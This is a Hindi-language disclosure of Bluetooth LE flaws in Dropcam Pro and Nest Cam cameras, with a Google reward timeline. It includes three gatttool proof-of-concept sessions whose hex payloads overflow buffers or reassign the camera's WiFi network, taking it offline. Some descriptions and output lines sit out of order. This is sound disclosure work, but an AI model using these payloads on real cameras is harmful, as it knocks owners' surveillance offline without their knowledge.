
उपभोक्ता IoT कैमरों के लिए PoC भेद्यता प्रकटीकरण, जिसमें BLE बफर ओवरफ्लो और WiFi डिसअसोसिएशन हमलों का विवरण दिया गया है जो डिवाइस को ऑफ़लाइन कर सकते हैं।
प्रभावित: Dropcam Pro, Nest Cam इनडोर/आउटडोर मॉडल
नवीनतम प्रभावित बिल्ड: 205-600052
आंशिक रूप से ठीक किया गया बिल्ड: 205-600055
अपडेट नवीनतम फर्मवेयर संस्करण 205-600055 Dropcam Pro में WiFi विसंबद्धन भेद्यता को ठीक नहीं करता है। यदि प्रदान किया गया WiFi नेटवर्क मौजूद नहीं है, तो पुनः संबद्धन समय में सुधार किया गया है और अब यह लगभग 10 सेकंड के भीतर वापस कनेक्ट हो जाता है। हालाँकि, dropcam को स्थायी रूप से ऑफ़लाइन ले जाने के लिए अभी भी एक मान्य WiFi नेटवर्क प्रदान किया जा सकता है।
प्रकटीकरण समयरेखा:
अक्टूबर 26, 2016: Google के Vulnerability Reward Program दिशानिर्देशों के अनुसार सुरक्षा बग रिपोर्ट किया गया
अक्टूबर 27, 2016: Google सुरक्षा टीम ने स्वीकार किया कि रिपोर्ट प्राप्त हो गई है और जाँच की जा रही है
नवंबर 1, 2016: Google सुरक्षा टीम ने रिपोर्ट की गई भेद्यताओं को मान्य किया और एक बग दर्ज किया
नवंबर 15, 2016: Google के VRP पैनल ने "गैर-एकीकृत अधिग्रहण" के अंतर्गत $100 का पुरस्कार जारी किया
मार्च 17, 2017: सार्वजनिक प्रकटीकरण
Troy Stribling द्वारा PoC iOS ऐप :: NestPWN
सारांश
कैमरे पर SSID पैरामीटर सेट करते समय बफर ओवरफ्लो स्थिति को ट्रिगर करना संभव है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।
प्रूफ ऑफ कॉन्सेप्ट
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
विवरण
पेलोड 1 बाइट की लंबाई के साथ एक SSID सेट करने का प्रयास करता है और 16 भेजता है।
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
परिणाम
क्रैश और वापस परिचालन स्थिति में रीबूट
सारांश
कैमरे पर एन्क्रिप्टेड पासवर्ड पैरामीटर सेट करते समय बफर ओवरफ्लो स्थिति को ट्रिगर करना संभव है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।
प्रूफ ऑफ कॉन्सेप्ट
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
सारांश
कैमरे को कनेक्ट करने के लिए एक नया SSID प्रदान करके उसे WiFi से डिस्कनेक्ट करना संभव है। इन कैमरों द्वारा वीडियो फुटेज का स्थानीय भंडारण समर्थित नहीं है, इसलिए निगरानी अस्थायी रूप से अक्षम हो जाती है। हमलावर को कैमरे के चालू रहने की स्थिति के दौरान किसी भी समय ब्लूटूथ रेंज में होना चाहिए। प्रारंभिक सेटअप के बाद भी ब्लूटूथ कभी अक्षम नहीं होता है।
प्रूफ ऑफ कॉन्सेप्ट
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
विवरण
पेलोड 1 बाइट की लंबाई के साथ एन्क्रिप्टेड WiFi पासवर्ड सेट करने का प्रयास करता है और 3 भेजता है।
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
परिणाम
क्रैश और वापस परिचालन स्थिति में रीबूट
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> विवरण
पेलोड Nest Cam के संबद्ध SSID को बदलने का प्रयास करता है, जिससे वर्तमान WiFi SSID से अस्थायी विसंबद्धन होता है।
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
परिणाम
कैमरा नए सेट किए गए SSID के साथ संबद्धता का प्रयास करने के लिए वर्तमान WiFi नेटवर्क से विसंबद्ध हो जाता है। यदि WiFi नेटवर्क मौजूद नहीं है, तो कैमरा मूल WiFi नेटवर्क पर लौटने और सामान्य संचालन फिर से शुरू करने से पहले लगभग 60-90 सेकंड के लिए ऑफ़लाइन रहेगा। यदि नेटवर्क मौजूद है, तो यह इंटरनेट कनेक्टिविटी की जाँच करेगा और नए नेटवर्क पर बना रहेगा।